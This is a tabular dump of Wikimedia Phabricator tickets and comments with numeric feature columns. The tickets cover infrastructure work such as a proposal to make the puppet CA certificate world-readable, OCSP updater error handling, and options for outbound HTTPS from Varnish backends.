732117,Move HTTP-related code from MW to its own library,"I made the subject a little more generic as we probably want to library-ize MultiHttpClient too. However, that is blocked on {T139169}.",,,1474438078,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,63,True,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.9310344827586206,0.9655172413793104,"I made the subject a little more generic as we probably want to library-ize MultiHttpClient too. However, that is blocked on {T139169}."
520489,Move HTTP-related code from MW to its own library,"Not really tracked on phab, see https://github.com/addwiki/mediawiki-api-base/issues/5",,,1441306127,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,"Not really tracked on phab, see URL"
518325,Move HTTP-related code from MW to its own library,Can you please connect this to a story or epic?,,,1441108073,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,Can you please connect this to a story or epic?
110020,Make puppet ca certificate world readable,"So to make https requests to etcd, you need access to the puppet ca client certificate, since that's the https certificate being used. However, since that is owned by root, this means you need to be root to make https calls to etcd. This should be relaxed to allow everyone to make calls to etcd...",Medium,50.0,1440412099,1480557427.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-zu62eblucplk4iboslly,task_description,declined,True,c3,3,True,False,False,7,True,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,2.0,13.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,21.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,6.0,5.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.873015873015873,0.5714285714285714,"So to make https requests to etcd, you need access to the puppet ca client certificate, since that's the https certificate being used. However, since that is owned by root, this means you need to be root to make https calls to etcd. This should be relaxed to allow everyone to make calls to etcd..."
769881,Make puppet ca certificate world readable,I'm fairly sure we add the puppet CA to `/etc/ssl/certs` so it should be available already system-wide.,,,1480557427,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,74,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,14.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,10.0,10.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,I'm fairly sure we add the puppet CA to CODE so it should be available already system-wide.
522481,Make puppet ca certificate world readable,"Assigning it to yourself until a service owner can help you, so you do not forget.",,,1441706042,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,"Assigning it to yourself until a service owner can help you, so you do not forget."
513394,Make puppet ca certificate world readable,"However, there's no private info in labs puppet, so we can safely turn it on for labs.",,,1440420778,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,19.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9047619047619048,"However, there's no private info in labs puppet, so we can safely turn it on for labs."
513389,Make puppet ca certificate world readable,@Krenair just pointed out that this could possibly give anyone with shell access access to private puppet info.,,,1440420342,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,7,True,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,21.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.105263157894737,0.9473684210526315,SCREEN_NAME just pointed out that this could possibly give anyone with shell access access to private puppet info.
513346,Make puppet ca certificate world readable,I am also not sure if I am using the right terminology here. /nick TLSn00b,,,1440414470,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-zu62eblucplk4iboslly,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,19.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.75,0.875,I am also not sure if I am using the right terminology here. /nick TLSn00b
109894,Viewing Special:Uploads requires login on mobile web,"E.g. https://en.m.wikipedia.org/wiki/Special:Uploads/Jimbo_Wales : ""Please log in to view the uploads page."" There is no reason to require login for this, and I understand from @Jdlrobson that this behavior isn't intentional. Probably comes from https://en.m.wikipedia.org/wiki/Special:Uploads , which shows the user's own uploads and hence needs them to be logged in.",Medium,50.0,1440187992,1449606546.0,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-rzklfvcnhpan2hn2dqly,task_description,resolved,True,c3,3,True,False,False,7,True,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,12.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,4.0,14.0,7.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.9464285714285716,0.7678571428571429,"E.g. URL : ""Please log in to view the uploads page."" There is no reason to require login for this, and I understand fromSCREEN_NAME that this behavior isn't intentional. Probably comes from URL , which shows the user's own uploads and hence needs them to be logged in."
575095,Viewing Special:Uploads requires login on mobile web,"Change 257588 merged by jenkins-bot:
MobileFrontend allow anons to see per user uploads

[[https://gerrit.wikimedia.org/r/257588]]",,,1449604031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rzklfvcnhpan2hn2dqly,task_subcomment,,True,c3,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.9130434782608695,"Change 257588 merged by jenkins-bot:
MobileFrontend allow anons to see per user uploads

[[GERRIT_URL]]"
574818,Viewing Special:Uploads requires login on mobile web,"Change 257588 had a related patch set uploaded (by Sumit):
MobileFrontend allow anons to see per user uploads

[[https://gerrit.wikimedia.org/r/257588]]
",,,1449580351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rzklfvcnhpan2hn2dqly,task_subcomment,,True,c3,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9285714285714284,0.8928571428571429,"Change 257588 had a related patch set uploaded (by Sumit):
MobileFrontend allow anons to see per user uploads

[[GERRIT_URL]]
"
512595,Viewing Special:Uploads requires login on mobile web,"Could whoever looks at this bug look at the results of https://phabricator.wikimedia.org/T66636 and see if we can kill foreign api in the process?
",,,1440191699,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rzklfvcnhpan2hn2dqly,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,20.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.52,0.92,"Could whoever looks at this bug look at the results of URL and see if we can kill foreign api in the process?
"
109737,"ocsp updater: handle openssl ""trylater"" and similar more-gracefully","When the ocsp updater script runs into certain openssl error-responses, it's confused as to what exactly the problem is and doesn't fail until a much later step.  OpenSSL is partly to blame here for returning exit status zero in these cases (IMHO), but either way we should deal with these cases properly and error out immediately instead of proceeding with further validation checks that are destined to fail.",Medium,50.0,1440090479,1440117166.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-a7mss4tywb4mpegtivkg,task_description,resolved,True,c3,3,True,True,True,7,True,1.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,1.0,1.0,11.0,15.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,4.0,4.0,4.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,4.341772151898734,0.8481012658227848,"When the ocsp updater script runs into certain openssl error-responses, it's confused as to what exactly the problem is and doesn't fail until a much later step.  OpenSSL is partly to blame here for returning exit status zero in these cases (IMHO), but either way we should deal with these cases properly and error out immediately instead of proceeding with further validation checks that are destined to fail."
512103,"ocsp updater: handle openssl ""trylater"" and similar more-gracefully","Change 232873 merged by BBlack:
update-ocsp: refactor validation, check cert life

[[https://gerrit.wikimedia.org/r/232873]]",,,1440116122,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a7mss4tywb4mpegtivkg,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.8260869565217392,0.8695652173913043,"Change 232873 merged by BBlack:
update-ocsp: refactor validation, check cert life

[[GERRIT_URL]]"
512100,"ocsp updater: handle openssl ""trylater"" and similar more-gracefully","Change 232873 had a related patch set uploaded (by BBlack):
update-ocsp: refactor validation, check cert life

[[https://gerrit.wikimedia.org/r/232873]]
",,,1440115452,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a7mss4tywb4mpegtivkg,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7333333333333334,0.9,"Change 232873 had a related patch set uploaded (by BBlack):
update-ocsp: refactor validation, check cert life

[[GERRIT_URL]]
"
109325,Outbound HTTPS for varnish backend instances,"We need the ability for varnish backends to make outbound HTTPS connections in at least two scenarios:

1) For tier-1 cross-DC applayer traffic (e.g. cp2001.codfw.wmnet -> appservers.svc.eqiad.wmnet) - we don't have any known other solution to secure this traffic on inter-DC links at this time.
2) For inter-tier varnish-be->varnish-be traffic: IPSec is currently protecting this, but HTTPS has the potential to be operationally-better and make the current IPSec deployment less-critical, or open us to ditching the current host-based IPSec and waiting on tunnels of some kind.

Known options for making this happen:
1) Deploy an stunnel configuration locally on the varnish machines.
  - The idea here would be to deploy stunnel with a separately-configured tunnel instance for each defined varnish backend.
  - Instead of simply backending to appservers.svc.eqiad.wmnet:80 today, it would backend to localhost:12345 (unique port assignment), which is an stunnel configured to connect to appservers.svc.eqiad.wmnet:443.
  - There could be other alternatives similar to stunnel, but stunnel looks like a legit/default option here.
  - Significant Con: Yet another piece of software in the request flow for reliability/debugging woes.
2) Patch varnish3 ourselves for outbound HTTPS
  - Possibly using Amazon's s2n library, as it could be much simpler than using OpenSSL directly.
  - Would deepen the amount of source-level customization we're doing with Varnish3 today, which is already a long-term problem for maintainability and tech debt.
  - Patch would probably be significantly difficult.  This is not lightweight patchwork.  There are risks we could make varnish less stable, make a security-affecting mistake in the code, and/or make it much more difficult to continue merging in upstream 3.0.x fixes.
3) Upgrade to Varnish4, and then create our own custom director module for outbound HTTPS
  - Varnish4 does this already in the commercial Plus variant, but not open source.  We could do the same, as open source.
  - It's sad to redundantly re-do the upstream closed-source work here, but as a module in varnish4 it would be significantly cleaner than hacking it into varnish3.
  - Depends on Varnish4 upgrade, which is significantly difficult and off in the Future for now, and may not ever happen if we find an alternative first.
4) Upgrade to something non-Varnish that supports outbound TLS out of the box:
  - e.g. ATS: T96853
  - As with the above, this is neither near-term nor easy",Medium,50.0,1439827808,1600879119.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_description,invalid,True,c3,3,True,True,False,6,True,1.0,0.2,0.0,0.0,0.8,9.4,2.0,0.0,0.0,0.2,2.8,0.4,0.0,0.0,0.4,1.8,0.4,7.6,11.8,0.2,1.4,0.0,0.0,0.0,0.0,0.2,0.0,1.0,1.0,1.0,0.0,3.8,0.6,1.2,0.0,0.0,0.0,0.6,0.0,0.2,0.4,0.0,0.6,2.4,0.0,0.0,0.0,0.0,0.0,13.8,0.8,0.6,0.6,0.2,0.0,0.2,0.2,0.0,0.4,0.0,1.0,0.8,0.2,0.0,0.0,0.0,0.0,4.6,2.6,8.8,0.2,2.6,7.8,0.0,0.0,0.0,0.0,5.2,0.0,0.6,0.0,3.0,11.8,4.8,0.0,0.0,0.0,3.0,0.0,0.8,1.6,0.4,2.4,1.2,0.2,1.2,4.304444444444444,0.744020202020202,"We need the ability for varnish backends to make outbound HTTPS connections in at least two scenarios:

1) For tier-1 cross-DC applayer traffic (e.g. cp2001.codfw.wmnet -> appservers.svc.eqiad.wmnet) - we don't have any known other solution to secure this traffic on inter-DC links at this time.
2) For inter-tier varnish-be->varnish-be traffic: IPSec is currently protecting this, but HTTPS has the potential to be operationally-better and make the current IPSec deployment less-critical, or open us to ditching the current host-based IPSec and waiting on tunnels of some kind.

Known options for making this happen:
1) Deploy an stunnel configuration locally on the varnish machines.
  - The idea here would be to deploy stunnel with a separately-configured tunnel instance for each defined varnish backend.
  - Instead of simply backending to appservers.svc.eqiad.wmnet:80 today, it would backend to localhost:12345 (unique port assignment), which is an stunnel configured to connect to appservers.svc.eqiad.wmnet:443.
  - There could be other alternatives similar to stunnel, but stunnel looks like a legit/default option here.
  - Significant Con: Yet another piece of software in the request flow for reliability/debugging woes.
2) Patch varnish3 ourselves for outbound HTTPS
  - Possibly using Amazon's s2n library, as it could be much simpler than using OpenSSL directly.
  - Would deepen the amount of source-level customization we're doing with Varnish3 today, which is already a long-term problem for maintainability and tech debt.
  - Patch would probably be significantly difficult.  This is not lightweight patchwork.  There are risks we could make varnish less stable, make a security-affecting mistake in the code, and/or make it much more difficult to continue merging in upstream 3.0.x fixes.
3) Upgrade to Varnish4, and then create our own custom director module for outbound HTTPS
  - Varnish4 does this already in the commercial Plus variant, but not open source.  We could do the same, as open source.
  - It's sad to redundantly re-do the upstream closed-source work here, but as a module in varnish4 it would be significantly cleaner than hacking it into varnish3.
  - Depends on Varnish4 upgrade, which is significantly difficult and off in the Future for now, and may not ever happen if we find an alternative first.
4) Upgrade to something non-Varnish that supports outbound TLS out of the box:
  - e.g. ATS: T96853
  - As with the above, this is neither near-term nor easy"
1586726,Outbound HTTPS for varnish backend instances,There is no more varnish-be,,,1600879119,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_subcomment,,True,c3,3,True,,,272,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.2857142857142856,1.0,There is no more varnish-be
618515,Outbound HTTPS for varnish backend instances,"Updates from the passage of time:

Varnish4 is happening and is a realistic blocker (for lots of things) these days, so we're almost certainly looking at something like option 3 (vmod for varnish4) at this point, whenever we can get back around to this.",,,1456488303,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_subcomment,,True,c3,3,True,,,34,True,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,11.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,17.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.9074074074074074,0.8333333333333334,"Updates from the passage of time:

Varnish4 is happening and is a realistic blocker (for lots of things) these days, so we're almost certainly looking at something like option 3 (vmod for varnish4) at this point, whenever we can get back around to this."
522730,Outbound HTTPS for varnish backend instances,"Updates on some exploration of option (2) above (actually looking at the varnish code and the APIs we'd be using in detail):
* s2n - nice API, would be the simplest/cleanest option - not ready for us to use yet (client-side, client cert, cert-checking in general, configurability...)
* GnuTLS - better than OpenSSL as an API choice, but like OpenSSL would be a significant chunk of work and code to review
* OpenSSL - nice in that we have to maintain/care about fewer crypto libs, since we already use this for nginx.  Slightly worse than the above for clean implementation...

At this point, I'm leaning towards doing a trial (perhaps incomplete, but proof-of-concept) patch for GnuTLS and seeing how that goes.  I don't think we can wait on Varnish4/ATS to fix these problems, so options 3/4 aren't realistic in the near term.  Option 1 (stunnel) is still on the table, depending on how well the patching work goes.",,,1441730144,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_subcomment,,True,c3,3,True,,,9,True,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,5.666666666666667,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,1.6666666666666667,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,5.0,11.666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,1.0,0.0,3.3333333333333335,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,12.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.6666666666666665,2.0,6.0,2.0,2.0,5.666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.0,0.0,2.6666666666666665,11.666666666666666,2.0,0.0,0.0,0.0,2.6666666666666665,0.0,1.0,1.0,0.3333333333333333,2.6666666666666665,1.0,0.6666666666666666,0.3333333333333333,3.6547964113181504,0.7894409937888199,"Updates on some exploration of option (2) above (actually looking at the varnish code and the APIs we'd be using in detail):
* s2n - nice API, would be the simplest/cleanest option - not ready for us to use yet (client-side, client cert, cert-checking in general, configurability...)
* GnuTLS - better than OpenSSL as an API choice, but like OpenSSL would be a significant chunk of work and code to review
* OpenSSL - nice in that we have to maintain/care about fewer crypto libs, since we already use this for nginx.  Slightly worse than the above for clean implementation...

At this point, I'm leaning towards doing a trial (perhaps incomplete, but proof-of-concept) patch for GnuTLS and seeing how that goes.  I don't think we can wait on Varnish4/ATS to fix these problems, so options 3/4 aren't realistic in the near term.  Option 1 (stunnel) is still on the table, depending on how well the patching work goes."
109315,Enable HTTPS on internal MediaWiki appserver virtual service hostnames,"Essentially, this task is about making https://appservers.svc.eqiad.wmnet/ and similar work internally.  Ideally we do this for all internal service endpoints eventually, but MediaWiki is the biggest target to go after for the initial work of sorting this out.  Host: headers can still be used to make requests to e.g. en.wikipedia.org over these TLS connections, but the cert should match the hostname used for the TCP connection in this case, IMHO.

